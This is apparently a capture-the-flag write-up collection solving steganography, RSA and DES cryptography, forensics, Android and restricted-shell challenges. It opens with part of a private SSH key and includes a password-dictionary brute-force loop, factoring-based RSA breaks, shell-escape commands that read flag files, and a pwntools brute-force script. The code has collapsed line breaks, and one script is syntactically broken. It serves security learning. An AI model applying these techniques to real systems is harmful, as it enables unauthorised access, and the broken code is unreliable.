T9oyQP4wUOLLSSUc4KYg9KuX5crS1Qfo2crAPhkm1n+lLdiqjAYUB8kL+vU9EuHt0mUA6yrWaVAl4zNP3DOlpB54/v/0yKBEPyHBalU/jv2++NlTRaFsmU7PV8GD0YuvuHJAVfpnBb8/u4ugpBXciQOS/s734h087QAAAMEA6k6WMSNAmM6SAI2X5HqwHa19V2AvUUIS0pKbx8Gx3htKq4kHi4Q+tYYAdPFInFO5yauD3/Iv95PakOpiBwTXb1KK7pzgayc/1ZUN/gHbOgY8WghRY4mnxUg1jQWprlv+Zpk/Il6BdW5db/PmcdQ47yf9IxBAzcBSCECB1KKFXGUuM3hLowyY77IxQZkZo3VHkkoKhbewQVA6iZacfBlXmEPo9yBNznPG2GKsjrIILz2ax44dJNeB2AJOvI8i+3vXAAAAwQDWpRmP9vLaVrm1oA8ZQPjITUQjO3duRux2K16lOPlYzW2mCGCKCd4/dmdpowYCG7ly9oLIZR+QKL8TaNo5zw/H6jHdj/nP//AoEAIFmQS+4fBN5i0cfWxscqo7LDJg0zbGtdNp8SXUQ/aGFuRuG85SBw4XRtZm4SKe/rlJuOVl/L+iDZiW4iU285oReJLTSn62415qOytcbp7LJVxGe7PPWQ4OcYiefDmnftsjEuMFAE9pcwTI9CxTSB/z4XAJNBkAAAAKam9obkB4cHMxNQE=-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
We can infer by the challenge name and the challenge description that we need to use Jsteg (link in the resources), this is a type of tool for hiding data in the least significant bit (LSB) of the bytes in the image, this image is actually an image of the creator of the tool (whose name is luke), I only succeeded in using the tool by running the main.go script that's in jsteg/cmd/jsteg using the following command:

**Resources:*** Jsteg: https://github.com/lukechampine/jsteg
## DohDoh! Stupid steganography...
**Note, this flag is not in the usual format.**
Download the file below.
[doh.jpg](assets//images//doh.jpg)
**JCTF{an_annoyed_grunt}**
**Solution:** With the challenge we get the following JPEG image:
because this is a stego challenge one of the first thing I do is to check if there are files embedded in the image using binwalk and steghide, luckily steghide comes to use and finds a text file in the image which actually contains the flag:

**Resources:*** Steghide: http://steghide.sourceforge.net/* binwalk man page: https://manpages.debian.org/stretch/binwalk/binwalk.1.en.html
## Beep BoopThat must be a really long phone number... right?
Download the file below.
[flag.wav](assets//files//flag.wav)
**flag{do_you_speak_the_beep_boop}**
**Solution:** Now we are given for a change a WAV file (Wave audio file), in it we can hear key presses of a phone, this is actually DTMF (dual tone multi frequency) which were used to signal to the phone company that a specific key was pressed and they have quite a lot of history with respect to hacking, we can actually decipher this tones using a tool called multimon-ng or using the web tool listed below, this will give us the following code:
```46327402297754110981468069185383422945309689772058551073955248013949155635325
```we can execute the following command to extract the number:
`multimon-ng -t wav -a DTMF flag.wav | grep -o "[0-9]+" | tr -d "\n"`
I tried a lot of ways to get the flag from this number and eventually figured out that you need to convert the numbers from decimal format to hex and then from hex to ascii, or alternatively use long_to_bytes from the pycryptodome module, by doing so we get the flag:

**Resources:*** DTMF: https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling* multimon-ng: https://tools.kali.org/wireless-attacks/multimon-ng* Web DTMF decoder: http://dialabc.com/sound/detect/index.html* long_to_bytes: https://pycryptodome.readthedocs.io/en/latest/src/util/util.html#Crypto.Util.number.long_to_bytes
## SnowflakeFrosty the Snowman is just made up of a lot of snowflakes. Which is the right one?
Note, this flag is not in the usual format.
Download the file below.\[frostythesnowman.txt](assets//files//frostythesnowman.txt)
**JCTF{gemmy_spinning_snowflake}**
**Solution:** We are given a text file with the challenge, if we look at the file we can't see anything weird:```Frosty the snowman was a jolly happy soulWith a corncob pipe and a button noseAnd two eyes made out of coalFrosty the snowman is a fairy tale, they sayHe was made of snow but the children knowHow he came to life one dayThere must have been some magic inThat old silk hat they foundFor when they placed it on his headHe began to dance aroundOh, Frosty the snowman
```
but if we open the file in Notepad++ and turn on the option the show special symbols we can now see that something is off with the file:

these are tabs and spaces, and this type of steganography is actually SNOW (Steganographic Nature Of Whitespace), it is a type of whitespace steganography which uses Huffman encoding to compress a message and hide it in the whitespaces, we can use stegsnow tools to reveal the message but it seems that it doesn't work:

After a bit of trial and error I discovered that it is password protected, so I wrote a simple bash script which reads the passwords from rockyou.txt line by line and try to decrypt the data, this is a dictionary attack, and a simple one at that (I explained more about this type of attacks in the writeup for Easy Keesy):
```bashfile=rockyou.txtwhile read -r linedo printf "\n$line " stegsnow -C -Q -p "$line" frostythesnowman.txtdone < $file```
by using this simple bruteforce script we get that the password is ilovejohn (don't we all) and we get the flag (I redirected the script output to a file and then grepped for braces pattern):

**Resources:*** SNOW: http://www.darkside.com.au/snow/* stegsnow man page: http://manpages.ubuntu.com/manpages/bionic/man1/stegsnow.1.html
## My ApologiesNothing witty to say here... just that I am sorry.
Note, this flag is not in the usual format.
Download the file below.\[apologies.txt](assets//files//apologies.txt)
**flag_i_am_so_sorry_steg_sucks**
**Solution:** We again get a txt file with the challenge, now we can easily notice that something off with the message:
```Turns out the steganographⅰc technique we were
using dⅰdn't really make
much sense... but we kept it anyway. Oh well!```This is actually an Homoglyphs Steganography, a type of steganography which uses unicode encoding to hide a message, we can use the link in the resources to reveal the flag:

**Resources:** * Twitter Secret Messages: http://holloway.co.nz/steg/
## Dead SwapThere is a flag in my swap!
Download the file below.\[deadswap](assets//files//deadswap)
**Post CTF Writeup**
**flag{what_are_you_doing_in_my_swap}**
**Solution:** With the challenge we are given a file from an unknown type, with can infer from the challenge title and description that this is a swap file, without getting into details, swap files are files saved in the hard drives to be used as an extension to the memory, when a computer needs to save some data on the memory for quick access and doesnt have a place for it the computer moves a chunk of the data stored on the memory to the hard drive (usually the least used chunk) and overwrites this chunk in the memory with the data, this is actually really not important for this challenge, by using xxd on the file it seems that we only have \xff bytes:

but by grepping for everything but \xff bytes we can see thet there are \xfe bytes too:

during the CTF I tried using binary by mapping 1 and 0 to f and e but the solution is actually to map 1 and 0 to fe and ff, this will give us a binary string, encoding the string to ascii we get the flag in reverse, so I wrote a one-liner to do all that (and it's amazing):
`xxd deadswap | grep -v "ffff ffff ffff ffff ffff ffff ffff ffff" | cut -d " " -f 2-10 | sed "s/ff/0/g" | sed "s/fe/1/g" | tr -d " \n" | python3 -c "import binascii; print(binascii.unhexlify('%x' % int(input(),2)));" | rev`
the one-liner prints the hexdump of the file, greps for lines which contains interesting data, cut only the columns with the hex data, replaces ff and fe with 0 and 1 (using sed), removes new-lines, convert the data from binary to ascii using python and reverses the string, and in action:

**Resources:*** Swap file: https://www.computerhope.com/jargon/s/swapfile.htm
## WalkmanDo you hear the flag? Maybe if you walk through it one step at a time.
Download the file below.\[wazaa.wav](assets//files//wazaa.wav)
**Post CTF Writeup**
**flag{do_that_bit_again}**
**Solution:** We are given a WAV audio file with the challenge, I personally hate steganography that is related to audio, if it is not spectogram and wavsteg can't find something I just quit...but I'm a completionist, so I'll cover that as well, we need to use a tool called wav-steg-py which is listed in the resources using this command to extract the flag:
`python3 wav-steg.py -r -s wazaaa.wav -o a -n 1 -b 1000`
in action:

this tool uses the least significant bit to hide data and extract hidden data (which wavsteg also do so i'm not sure why it didn't work with it), it's quite common to hide data in the LSB of the file so this type of tools are really handy.
**Resources:*** wav-steg-py: https://github.com/pavanchhatpar/wav-steg-py
## Old SchoolDid Dade Murphy do this?
Note, this flag is not in the usual format
Download the file below.\[hackers.bmp](assets//images//hackers.bmp)
**Post CTF Writeup**
**JCTF{at_least_the_movie_is_older_than_this_software}**
**Solution:** With the challenge we are given a bitmap (bmp) file:

bmp format is a quite old file format and rarely used today as its compression algorithm is really not good and rarely supported so it's not very efficient in space to save images as bmp files, especially if you consider the image quality nowadays, the flag is again hidden in the least significant bits of the image and again I tried checking that during the CTF and got nothing, a smarter approach is to use zsteg, which checks all the available channels and even checks the most significant bit for hidden data, we can get the flag using the following command:
`zsteg -a hackers.bmp`
and in action:

***# Cryptography
## DocxorMy friend gave me a copy of his homework the other day... I think he encrypted it or something?? My computer won't open it, but he said the password is only four characters long...
Download the file below.\[homework](assets//files//homework)
**flag{xor_is_not_for_security}**
**Solution:** We get an unknown file with the challenge, obviously from the challenge description and challenge name we know that the file is xored and that the key is of length 4, if we look at the hex dump of the file we can notice this reoccurring pattern of bytes `\x5a\x41\x99\xbb` :

furthermore if we analyze the frequency of the bytes in the file we get the following graph where the peaks are in \x5a, \x41, \x99 and \xbb:

but if we look at a regular PNG file or Zip file we get the following bytes frequency:

we can notice that regularly the \x00 byte is the most frequent, so if the key is xorred with the data all of the \x00 bytes will be mapped to the bytes of the key.
so we can infer that key is `\x5a\x41\x99\xbb`, plugging the file into cyberchef in xorring the data with the key gives us the following zip file:
[xorred_homework](assets//files//xorred_homework)
this is actually not a zip file but a docx file by the folders in it (there are a lot of file types which are actually zip) if we open the file using Microsoft word or Libreoffice we get the flag:

**Resources:*** Xor: https://en.wikipedia.org/wiki/Exclusive_or* Frequency analysis: https://en.wikipedia.org/wiki/Frequency_analysis* An example to some of the file types which are actually zip: https://www.quora.com/Which-file-types-are-really-ZIP-or-other-compressed-packages
## HomecookedI cannot get this to decrypt!
Download the file below.\[decrypt.py](assets//files//decrypt.py)
**flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}**
**Solution:** Now we get with the challenge a python script:
```python 3import base64num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def a(num): if (num > 1): for i in range(2,num): if (num % i) == 0: return False break return True else: return False
def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (a(num)): if (b(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```
this script is used for decrypting the cipher but it doesn't seem to work well:

it somewhat stops printing at this point but still runs, we can guess by that the code is inefficient, we can try to understand what the script does to figure out how to make it more efficient, we can see that the script decode the ciphertext from base64 to bytes, then for each byte in the ciphertext it tries to find a value of next value for num such that both functions a and b returns a boolean value of True, then xors that value with the value of the byte and prints the result, it continues likes that for the succeeding bytes while continuously increasing the value of num by one, but, by the 13th byte the value of num is jumped to 50000 and by the 26th byte the value of num is jumped to 500000.
Now let's look at the functions, a checks if there are no numbers bigger than 2 and smaller than the input that can divide it without a remainder, so a checks if the input is prime.The function b checks if the input is equal to itself in reverse so b checks if the input is a palindrome.a return True if the number is prime and b checks if the number is a palindrome, so the values that are xorred with the bytes of the cipher are palindromic primes
if we take a second look at the function a we can see that it is very inefficient as it checks for all the numbers that are smaller than the input if they can divide it without a remainder, we can replace it with the primality test in the sympy module, which uses an efficient method (Rabin-Miller Strong Pseudoprime Test), in the end we get the less obfuscated following script:
```python 3import base64import sympy
num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def prime(num): return sympy.isprime(num)
def palindrome(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (prime(num)): if (palindrome(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```and by running this more efficient script we get the flag in a reasonable time:

## TwinningThese numbers wore the same shirt! LOL, #TWINNING!
Connect with:\`nc jh2i.com 50013`
**flag{thats_the_twinning_pin_to_win}**
**Solution:** When we connect to server given we the challenge we are greeted with the following:

we can guess that this is an RSA encryption, I explained more about how RSA works in my writeup for RACTF 2020:
> ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n...
and I explained why it works and how we can break the cipher:
>...for that we need to talk about factors, factors are numbers which can be divided only by 1 and himself (we are only talking about whole numbers), we have discovered that there are infinitely many factors and that we can represent any number as the multiplication of factors, but, we haven't discovered an efficient way to find out which factors make up a number, and some will even argue that there isn't an efficient way to do that (P vs. NP and all that), which means that if we take a big number, it will take days, months and even years to find out the factors which makes it, but, we have discovered efficient ways to find factors, so if I find 2 factors, which are favorably big, I multiply them and post the result on my feed to the public, it will take a lot of time for people to discover the factors that make up my number. But, and a big but, if they have a database of numbers and the factors that make them up they can easily find the factors for each numbers I will post, and as I explained before, if we can the factors we can easily calculate phi and consequently calculate d, the private key of RSA, and break the cipher, right now there are databases (listed below) with have the factors to all the numbers up to 60 digits (if I remember correctly), which is a lot but not enough to break modern RSA encryptions, but if we look at the challenge's parameters, we can see that n is awfully small, small enough that it most be in some databases...
if we search for the value of n in factorDB, a database for the factors of numbers, we can find factors for the value of n given to us:

now we can write a small script which calculates phi, finds d the modular inverse for e modulo phi and raise the ciphertext to the power of d (or be a script kiddie and use the RSA module):
```python 3from Crypto.Util.number import inverse
p = 1222229q = 1222231e = 65537ct = 348041806368n = 1493846172899
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(plain)
```and by running this script we get that the PIN is 3274 and by giving the PIN to the server we get the flag:

I guess that the challenge name and description is joking about the proximity of the primes...
## Ooo-la-laUwu, wow! Those numbers are fine!
Download the file below.\[prompt.txt](assets//files//ooolala.txt)
**flag{ooo_la_la_those_are_sexy_primes}**
**Solution:** With the challenge we are given a text file, the text file contains the following:
```N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983```
So this is another RSA challenge, we can again try to find the factors that make up the value of N, we can use factorDB again:

and we have the factors, now let's recycle the script from the last challenge now with the new parameters,also now we need to convert the plaintext to ascii encoded characters, we can use the function long_to_bytes from pycryptodome for that:
```python 3from Crypto.Util.number import inverse, long_to_bytes
p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213e = 65537ct = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983n = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```and by running the script we get the flag:

## Unvreakable VaseAh shoot, I dropped this data and now it's all squished and flat. Can you make any sense of this?
Download the file below.\[prompt.txt](assets//files//vase.txt)
**Post CTF Writeup**
**flag{does_this_even_count_as_cryptooo}**
**Solution:** We this challenge we are given a text file with the following content:
```zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=```
this seems to be base64 encoding, but if you try to decode it from base64 to ascii you don't get much:```ÎlaÏ{dokóÇzèk.ßÏ.ån_co{îuÿas_crypv.oo}```
I didn't actually managed to solve this challenge by myself during the CTF thinking it is a combination between rail cipher and base64 but actually that is just a base64 encoding where all the upper cased letters were lowered, we can try going over all combination of lower case and upper case for all the characters in the string but it will take two to the power of the length of the string, which is 2 to the power of 52 at most and at least 2 to the power of 40 if we exclude numbers and symbol, which is still a lot.\But, we can do something else, base64 is using characters to represents the numbers from 0 to 63, if we'll encode one letter from base64 to binary we get a binary string of length 6 bits, but each ascii character take 8 bits to encode, so if we want to find the smallest ascii substring that decodes to a base64 string without padding we'll need to find a lowest common multiple (LCM) value, for those numbers the LCM is 24, and s0 every 24/8 = 3 ascii characters are encoded to 24/6 = 4 base64 characters without padding and if we will split our ciphertext to blocks of 4 characters and try every possible combination of upper case and lower case on every character in each block until we get a readable substring (preferably of the flag which very likely though not guaranteed) we'll need to try at most 2 to the power of 4 multiplied by the number of blocks for every block, in out case `(2 ** 4) * (52 / 4) = (2 ** 4) * 12` which is a lot less then what we had before, for that I wrote the following script which goes through every block in the ciphertext and tries all the possible combinations until the ascii strings decoded from the block are printable (in the range from space \x20 to tilde \x7e):
```python 3import base64from string import printable
cipher = list('zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=')
for i in range(0,len(cipher),4): for j in range(2 ** 4): curr_byte = cipher[i:i+4].copy() string_index = int(i/4*3) for k in range(len(curr_byte)): if j % (2 ** (k + 1)) >= 2 ** k: curr_byte[k] = curr_byte[k].upper() new_cipher = cipher[:i] + curr_byte + cipher[i+4:] max_char = chr(max(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) min_char = chr(min(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) if min_char in printable and max_char in printable: cipher[i:i+4] = curr_byte break print(base64.b64decode(''.join(cipher)))```
and by running this script we get the flag:

**Resources:*** I used this writeup just to discover the cipher although it seems that he solved just it like me with a way better script: https://deut-erium.github.io/WriteUps/nahamconCTF/crypto/Unvreakable%20Vase/* Least common multiple: https://en.wikipedia.org/wiki/Least_common_multiple
## DecemberThis is my December...
Download the file below.\[source.py](assets//files//source.py) [ciphertext](assets//files//ciphertext)
**flag{this_is_all_i_need}**
**Solution:** With the challenge we get the following python 3 script:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('flag.txt', 'rb') as handle: flag = handle.read()
padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00')
with open('key', 'rb') as handle: key = handle.read().strip()
iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag)
with open('ciphertext','wb') as handle: handle.write(ct)```
and the ciphertext:
```Ö¢oåÇ\"àT?^N?@]XõêiùÔ?1÷U?WETR^DˆžbÿÑ\*á?^V?AAVCç¤nÿÌ?Iô]RTLE[ZDÝ£yÉÃ?/ÍXl]RTWN7```
We can see from the script that it uses DES, DES (Data Encryption Standard) is a type of symmetric cipher that was used in the 80s and the 90s as the standard cipher replaced by AES in the following years, it was invented by IBM with the help of the NSA (yeah that NSA) and in the 90s people have discovered ways to crack the cipher in a matter of hours (22 hours and 15 minutes to be precise).\This cipher also has a lot of weaknesses, one of those are the existence of weak keys, decryption and encryption with this keys have the same effect and so encrypting some data twice with the same weak key is equivalent to decrypting the encryption and the ciphertext is equal to the original plaintext.
we can also notice that the cipher uses OFB mode of operation, in this mode the plaintext is split to blocks of 8 bytes and for each block of plaintext the mode encrypts the encryption of the previous block (in the case of the first block this mode encrypts IV) and xors the new encryption with the plaintext, in a visual representation:
and in a formal representation:
we can now notice the following attribute of using weak keys in this mode of operation:
in other words, for every block in an even position we get that the encryption with a weak key is equal to xorring IV with the plaintext, so the plaintext for block in an even position is equal to the ciphertext xorred with IV, let's try that on our ciphertext, we can do that using the following code:
```python 3from Crypto.Util.strxor import strxor
data = open("ciphertext",'rb').read()IV = "13371337"
print(strxor(data,(IV * len(data))[0:len(data)].encode("utf-8")))```and we get:

it worked!, now we know that our key is a weak key, we can find a list of weak keys to DES on google and bruteforce them until we get a complete text (there are less than 100 weak and semi-weak keys), I listed all the weak keys in the following file:
[weak DES keys](assets//files//keys)
and wrote this script to crack the ciphertext:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('ciphertext','rb') as handle: ct = handle.read()
with open('keys', 'r') as handle: keys = handle.read().replace("\n"," ").split() keys = [ bytes(bytearray.fromhex(key.strip())) for key in keys]
iv = "13371337"for key in keys: des = DES.new(key, DES.MODE_OFB, iv.encode('utf-8')) pt = des.decrypt(ct) if b'flag' in pt: print(pt) print(key)```
and we get the flag:

## RaspberryRaspberries are so tasty. I have to have more than just one!
Download the file below.\[prompt.txt](assets//files//raspberry.txt)
**flag{there_are_a_few_extra_berries_in_this_one}**
**Solution:**: With the challenge we are get a text file, the content of the text file is:
```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```This is again an RSA cipher, if we try plugging the value of n to a factor database we get the following output:

this is a big amount of factors, this amount is actually okay as RSA is not limited to only 2 factors (but it is really bad practice to use a lot of factors), phi is actually the value of Euler's totient function for n, this value is the number of values smaller than n which don't have common factors with n, and this value is actually equal to multiplication of all the factors reduced by one each (the proof for that is actually very easy and logical), so for decrypting the message I used the following script which is the same as the previous script with a more general phi calculation:
```python 3from Crypto.Util.number import inverse, long_to_bytes
primes = ['2208664111', '2214452749', '2259012491', '2265830453', '2372942981', '2393757139', '2465499073', '2508863309', '2543358889', '2589229021', '2642723827', '2758626487', '2850808189', '2947867051', '2982067987', '3130932919', '3290718047', '3510442297', '3600488797', '3644712913', '3650456981', '3726115171', '3750978137', '3789130951', '3810149963', '3979951739', '4033877203', '4128271747', '4162800959', '4205130337', '4221911101', '4268160257']
e = 65537ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
phi = 1for p in primes: phi *= (int(p) - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```By running this script we get the flag:

**Resources:*** Euler's totient function: https://en.wikipedia.org/wiki/Euler%27s_totient_function
***
# Forensics
## MicrosooftWe have to use Microsoft Word at the office!? Oof...
Download the file below.\[microsooft.docx](assets//files//microsooft.docx)
**flag{oof_is_right_why_gfxdata_though}**
**Solution:** With the challenge we get a docx file, but if we try opening it with Microsoft Word or Libreoffice we get noting interesting:

so we need to inspect the file more, docx files are actually a bunch of xml files contained in a zip file, so if we open the file as a zip file we can look at the content without relying on a document editor:

after a brief inspection I found that there is a filed called foo.txt in the src directory in the zip file:

and the file contains our flag:

## Cow PieEw. Some cow left this for us. It's gross... but something doesn't seem right...
Download the file below.\[manure](assets//files//manure)
**flag{this_flag_says_mooo_what_say_you}**
**Solution:** run strings on manure and grep for the flag
***
# Mobile
## CandroidI think I can, I think I can!
Download the file below.\[candroid.apk](assets//files//candroid.apk)
**flag{4ndr0id_1s_3asy}**
**Solution:** With the challenge we get an apk file, as the previous challenge an apk file is actually a zip file, we can unzip the file and grep for the flag format to get the flag:

## Simple AppHere's a simple Android app. Can you get the flag?
Download the file below.\[candroid.apk](assets//files//simple-app.apk)
**flag{3asY_4ndr0id_r3vers1ng}**
**Solution:** same as previous challenge:

## Ends MeetAre you a true mobile hacker?
Download the file below.
**flag{rev3rsIng_ApKs_l1k3_A_Pr0}**
**Solution:** open the apk file in jadx-gui and get a base64 encoded url in the `MainActivity` and visit the page with useragent `volley/0`
***# Miscellaneous
## VortexWill you find the flag, or get lost in the vortex?
Connect here:\`nc jh2i.com 50017`
**flag{more_text_in_the_vortex}**
**Solution:** With the challenge we are given a server to connect to, if we try connecting we get...

...that...we can redirect the output of the server to a file and view the file, by doing so for a minute more or less and grepping for the flag format we get the flag:

## Fake fileWait... where is the flag?
Connect here:\`nc jh2i.com 50026`
**flag{we_should_have_been_worried_about_u2k_not_y2k}**
**Solution:** We are given a server to connect to with the challenge, when we connect to the server we seemingly have a shell:

seems that there are two files with the name '..' but using regular command like cat on the file won't work I eventually tried to use `grep -r .` to recursively grep the file in the directory, and we get the flag (or we could just get all the flags like this guy https://tildeho.me/leaking-all-flags-in-a-ctf/):

## AlkatrazWe are so restricted here in Alkatraz. Can you help us break out?
Connect here:\`nc jh2i.com 50024`
**flag{congrats_you_just_escaped_alkatraz}**
**Solution:** We are given again a server to connect to, it seems that we have a shell again and that the flag is in our working directory, but we can't use cat or grep to read it:

I eventually got to output the file content to stdout using printf as it is not restricted and using the following command `printf '%s' "$(<flag.txt)"` we get the flag:

## TrappedHelp! I'm trapped!
Connect here:\nc jh2i.com 50019
**flag{you_activated_my_trap_card}**
**Solution:** Trap command is catching every command except trap, set the trap to something else with `trap '<command>' debug`.like `trap 'cat flag.txt' debug` to get flag## AwkwardNo output..? Awk-o-taco.
Connect here:`nc jh2i.com 50025`
**flag{okay_well_this_is_even_more_awkward}**
**Solution:** use grep to find cat all files and grep only to flag format
```python 3import refrom pwn import *from string import printablehost, port = 'jh2i.com', 50025
s = remote(host,port)
name = "flag{"while True: for c in "_" + printable: command = """grep -ro "{}.*"\n """.format(name + c) s.send(command) response = s.recv() return_code = re.findall("[0-9]+",str(response))[0] if int(return_code) == 0: if c != '*' name += c print(name) break else: printf(name + "}") breaks.close()```
***# Scripting
## DinaHelp! I can't make any sense out of what Dina is saying, can you??
Connect with:`nc jh2i.com 50035`
**Post CTF Writeup**\**flag{dina_speaks_in_dna_and_you_do_too}**
**Disclaimer:** I'll start of with a quick disclaimer, even though I ended solving it using frequency analysis and some common sense, I don't think what I did was the intention of the author, and I used the mapping john showed three or four times to validate a character and escape rabbit holes, though I think it can be done without using it at all if you have time, and after validating the first few characters I could easily complete the rest myself.\oh and another thing, the script I wrote is really ugly but it works well, you can use an empty mapping and remove the question types and it will still work, and I strongly recommend trying this yourself.
**Solution:** With the challenge we are given an host and a port to connect to, when we connect the server sends a string which comprises only of A,C,G,T and waits for input, if we give some random input it will respond with another string like the previous:

It seems to be a DNA sequence and if you have basic knowledge in biology you'll know that DNA sequences are interpreted by the ribosomes to proteins, and every sequence of 3 nucleic acids in the DNA or equivalently every 3 letters in the DNA which is called a codon is interpreted to one amino acid in the protein, so we can trying using this type of encoding to get a strings consisting of the letters of each matching amino acid, but it will not work.\we can next try using binary notations for each nucleic acid and decode the binary to ascii characters but this will also not work, after a google search about DNA encoding to English I stumbled upon this writeup https://github.com/ChapeauR0uge/write-ups/tree/master/b00t2root/crypto/genetics where the author uses a mapping from codons to English in order to decode the string, but the mapping didn't seem to help, at this point in the CTF I stopped and moved on to other challenges.\After the CTF and during the debrief that john did I discovered that the last thing I tried was kinda right but the mapping was incorrect, so I tried to find the right mapping on the internet, but I couldn't find it, and so I resorted to the last thing I could think of, to use frequency analysis.
In every alphabet there are characters who appear more than others, for example the letter a appears more than z and e appears more than a, also if we look at all the printable symbols we will also see that the space symbol appears more than e or any other characters, we can also look at the frequency of one word or two words and so on and see the same trend.\We can use that to our advantage, so I started out by finding a list of frequencies for all the printable symbols (https://www.wired.com/2013/08/the-rarity-of-the-ampersand/) and then wrote a small script which connect to the server a number of times (I used 50) and count the occurrences of every codon in the string and in the end lists them in descending order of occurrences (you can see parts of it in the final script), also, in every session the script would try to guess the plaintext using the already mapped codons or the total number of occurrences of the each codons against the list of frequencies of symbols if it was not mapped, I used it to map codons to the space symbol and e, then map to a and t by looking at the ciphertexts and recognizing words (we can easily guess the mapping for a from a one-letter word and the mapping for t and h from a very frequent three letter-word), admittedly I used john script in the debrief to figure out that the first word in every ciphertext, which is a two-letter word without i, n or t, is a number and and colon (I though initially that it was yo or mr), by using letter frequency and word frequency and most importantly common sense I mapped around ten to fifteen codons to characters, but than I hit a roadblock, even though most of the encoded sentence is a readable string like "enter the string" the string in question is a combination of random letters, for example (actually taken from a run):
`send back yirkbmusswnqmhq as a string`
and for that no frequency analysis would have helped, so I turned to what I do best, bruteforcing everything I can.
